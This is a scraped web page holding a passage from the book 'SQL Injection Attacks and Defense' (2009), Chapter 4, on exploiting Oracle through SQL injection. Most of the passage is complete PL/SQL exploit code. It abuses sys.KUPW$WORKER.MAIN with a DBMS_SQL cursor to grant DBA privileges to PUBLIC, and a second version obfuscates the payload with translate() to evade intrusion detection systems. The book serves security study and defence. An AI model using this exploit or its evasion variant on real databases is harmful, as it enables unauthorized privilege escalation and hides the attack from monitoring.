28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 191<br />

The current session still has DBA privileges, but this will no longer be visible in the<br />

Oracle privilege tables.<br />

One of the disadvantages of this approach is the requirement of having the CREATE<br />

PROCEDURE privilege. David Litchfield presented a solution to this problem at the<br />

BlackHat DC conference. Instead of using a procedure, it is possible to use a cursor. The<br />

exploit approach is identical; however, the function is replaced by a cursor as follows:<br />

<strong>and</strong> 1=user1.f1<br />

The preceding code is replaced with the following:<br />

<strong>and</strong> 1=dbms_sql.execute(1)<br />

The complete exploit without using a procedure looks like this:<br />

DECLARE<br />

MYC NUMBER;<br />

BEGIN<br />

MYC := DBMS_<strong>SQL</strong>.OPEN_CURSOR;<br />

DBMS_<strong>SQL</strong>.PARSE(MYC,<br />

'declare pragma autonomous_transaction;<br />

begin execute immediate ''grant dba to public''; commit;end;',0);<br />

sys.KUPW$WORKER.MAIN('x',''' <strong>and</strong> 1=dbms_sql.execute('||myc||')--');<br />

END;<br />

/<br />

set role dba;<br />

revoke dba from public;<br />

Note that to evade intrusion detection systems (IDSs) it is possible to encrypt the payload<br />

of the exploit—say, encrypting “…grant dba to public…” as follows:<br />

DECLARE<br />

MYC NUMBER;<br />

BEGIN<br />

MYC := DBMS_<strong>SQL</strong>.OPEN_CURSOR;<br />

DBMS_<strong>SQL</strong>.PARSE(MYC,translate('uzikpsz fsprjp pnmghgjgna_msphapimwgh) ozrwh zczinmz<br />

wjjzuwpmz (rsphm uop mg fnokwi()igjjwm)zhu)',<br />

'poiuztrewqlkjhgfdsamnbvcxy()=!','abcdefghijklmnopqrstuvwxyz'';:='),0);<br />

sys.KUPW$WORKER.MAIN('x',''' <strong>and</strong> 1=dbms_sql.execute ('||myc||')--');<br />

END;<br />

/<br />

set role dba;<br />

revoke dba from public;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!